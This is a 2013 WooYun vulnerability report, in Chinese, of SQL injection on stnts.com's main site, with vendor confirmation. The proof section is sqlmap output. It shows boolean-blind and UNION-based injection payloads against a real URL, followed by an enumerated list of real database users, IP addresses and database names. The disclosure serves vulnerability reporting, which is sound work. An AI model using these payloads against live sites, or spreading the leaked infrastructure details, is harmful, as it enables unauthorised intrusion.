漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-043267
漏洞标题：盛天网络技术股份有限公司 主站存在 mysql 注入
相关厂商：stnts.com
漏洞作者： 小秦
提交时间：2013-11-19 00:35
修复时间：2014-01-03 00:36
公开时间：2014-01-03 00:36
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-11-19： 细节已通知厂商并且等待厂商处理中
2013-11-20： 厂商已经确认，细节仅向厂商公开
2013-11-30： 细节向核心白帽子及相关领域专家公开
2013-12-10： 细节向普通白帽子公开
2013-12-20： 细节向实习白帽子公开
2014-01-03： 细节向公众公开
简要描述：
mysql 注入, 其中包括其旗下的相关产品的数据库, 貌似其中还有一个dz的论坛.
详细说明：
做为一个经常看cnbeta和wooyun的访客, 今天在cnbeta上看到这个公司的招聘(http://www.cnbeta.com/articles/260924.htm),
就顺便去测试了一下, 具体看连接说话
漏洞证明：
sqlmap identified the following injection points with a total of 56 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.stnts.com:80/news_detail/272 AND 1797=1797
Type: UNION query
Title: MySQL UNION query (NULL) - 16 columns
Payload: http://www.stnts.com:80/news_detail/-4342 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7165626e71,0x506c65474e674a645955,0x716d6d7271),NULL,NULL,NULL,NULL,NULL,NULL#
---
web application technology: Nginx
back-end DBMS: active fingerprint: MySQL >= 5.5.0
banner parsing fingerprint: MySQL 5.5.21, logging enabled
banner: '5.5.21-log'
database management system users [14]:
[*] '58game_b!b#s_'@'192.168.%.%'
[*] 'adminpuwei'@'127.0.0.1'
[*] 'minisiteTj'@'220.249.92.18'
[*] 'minisiteTj'@'59.175.233.154'
[*] 'nrep_ujff'@'127.0.0.1'
[*] 'old_miao_site'@'117.79.224.143'
[*] 'tzb'@'220.249.92.18'
[*] 'tzb'@'59.175.233.154'
[*] 'uodgv0830manger'@'%'
[*] 'web_amoeba'@'192.168.%.%'
[*] 'webapp2012conn'@'192.168.100.%'
[*] 'websyncconn'@'192.168.100.%'
[*] 'xms_st!nt'@'220.249.92.18'
[*] 'xms_st!nt'@'59.175.233.154'
available databases [22]:
[*] 58daohang
[*] 58game_bbs
[*] 58game_bbs_discuz
[*] 58game_bbs_dz
[*] 58game_new
[*] 58game_new_v3
[*] 58game_www
[*] 58gou
[*] 58wanwan
[*] cn_58game_zhao
[*] com_stnts_center
[*] com_stnts_ietab
[*] com_stnts_music
[*] com_stnts_show
[*] com_stnts_www
[*] information_schema
[*] miao
[*] minisite
[*] mysql
[*] performance_schema
[*] stnts_song
[*] test
修复方案：
你懂的, 拒绝跨省.
版权声明：转载请注明来源 小秦@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2013-11-20 09:35
厂商回复：
感谢小秦提供该漏洞，该漏洞主要是开发者未严格实施数据检查过滤所致。
最新状态：
暂无